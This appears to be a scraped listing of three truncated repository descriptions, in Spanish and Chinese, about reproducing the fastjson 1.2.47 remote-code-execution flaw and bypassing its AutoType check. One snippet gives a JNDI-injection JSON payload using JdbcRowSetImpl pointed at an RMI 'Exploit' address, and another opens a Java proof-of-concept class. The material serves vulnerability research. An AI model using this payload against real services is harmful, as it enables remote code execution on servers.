fastjson-RCE

fastjson-v1.2.47-RCE Reproducción de la vulnerabilidad fastjson-1.2.47 == Descarga de recursos: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码 https://github.com/alibaba/fastjson/archive/1.2.47.zip...

FastJsonAutoTypeBypass

Qué es esto Este proyecto se utiliza para estudiar cómo evadir la comprobación de AutoType de fastJSON. Información de los gadgets Mapeo solo para fastjson 1.2.47: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 ejecución remota de comandos 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ Versión desconocida entre 1.2.24-41...